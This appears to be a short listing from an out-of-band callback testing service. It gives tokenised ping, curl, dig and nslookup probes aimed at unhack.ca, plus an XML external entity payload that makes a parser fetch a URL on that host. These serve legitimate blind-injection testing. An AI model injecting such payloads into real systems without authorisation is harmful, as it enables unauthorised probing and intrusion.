$ ping -c1 -p 0031dce2bfda12366c3ea61b0a041b00 unhack.ca
 

$ curl http://unhack.ca/p/31dce2bfda12366c3ea61b0a041b
 

$ dig 31dce2bfda12366c3ea61b0a041b @unhack.ca
 

$ dig 31dce2bfda12366c3ea61b0a041b.ns.unhack.ca
 

C:\> nslookup 31dce2bfda12366c3ea61b0a041b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/31dce2bfda12366c3ea61b0a041b">]>
    <foo>&xxe;</foo>